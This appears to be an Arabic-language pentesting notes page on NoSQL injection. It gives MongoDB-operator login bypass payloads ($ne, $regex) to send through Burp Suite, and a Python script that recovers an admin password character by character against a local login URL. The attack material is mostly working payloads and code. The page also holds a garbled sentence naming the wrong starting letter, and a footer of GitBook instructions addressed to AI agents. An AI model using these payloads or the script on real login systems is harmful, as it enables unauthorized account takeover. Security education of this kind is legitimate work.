> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/nosql-attack/nosql-injection-pentesting-web.md).

# حقن NoSQL

<figure><img src="/files/bc16a591b122ceb012ec6a3c028de3c4d3cd4128" alt="" width="563"><figcaption></figcaption></figure>

## الحقن اليدوي لـ NoSQL باستخدام Burp Suite

اعترض طلب تسجيل الدخول باستخدام Burp Suite:

<figure><img src="/files/6bc12b153e9cacf09558d52bc0f1afe1405ae8a8" alt=""><figcaption></figcaption></figure>

يمكننا إرسال استعلام بهذا التنسيق عندما نعرف أن اسم المستخدم هو **admin**، لكن **كلمة المرور غير معروفة** وليست `admin`:

```json
{
  "username": "admin",
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/a4b4313207ab0f34a9a0a36eec83258f2a496c2b" alt=""><figcaption></figcaption></figure>

يمكننا إرسال استعلام بهذا التنسيق عندما لا نعرف أياً من **اسم المستخدم** ولا **كلمة المرور**:

```json
{
  "username": {
    "$ne": "ThisUserDoesNotExist"
  },
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/9251298d86c3c8d6e88bc1f23c42660bcfd92f7a" alt=""><figcaption></figcaption></figure>

يمكننا إرسال استعلام باستخدام هذا **تعبير نمطي** عندما نعرف كيف يبدأ اسم المستخدم **يبدأ**؛ في هذه الحالة، بالحرف `ملف`:

```json
{
  "username": {
    "$regex": "^a"
  },
  "password": {
    "$ne": "admin"
  }
}

```

<figure><img src="/files/3d13594c512d85367eb462916b088e2a79aa5ff0" alt=""><figcaption></figcaption></figure>

## سكربت بايثون:

السكربت البايثون أدناه يؤتمت العملية وهو مصمم للعثور على كلمة المرور عندما يكون اسم المستخدم معروفًا. *خصّص اسم المستخدم ورابط الهدف لكل حالة*:

<figure><img src="/files/b3f4b91cfeb5f6a9e6e9b1593707175650d34fde" alt=""><figcaption></figcaption></figure>

```python
#!/usr/bin/python3
from pwn import *
import requests, time, sys, signal, string
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)
# حقن NoSQL
signal.signal(signal.SIGINT, def_handler)
# حقن NoSQL
login_url = "http://localhost:4000/user/login"
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits
def makeNoSQLI():
    password = ""
    p1 = log.progress("فرض القوة")
    p1.status("بدء عملية فرض القوة")
    time.sleep(2)
    p2 = log.progress("كلمة المرور")
    for position in range(0, 100):
        for character in characters:
            post_data = '{"username":"admin","password":{"$regex":"^%s%s"}}' % (password, character)
            p1.status(post_data)
            headers = {'Content-Type': 'application/json'}
            r = requests.post(login_url, headers=headers, data=post_data)
            if "Logged in as user" in r.text:
                password += character
                p2.status(password)
                break
if __name__ == '__main__':
    makeNoSQLI()

```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/nosql-attack/nosql-injection-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
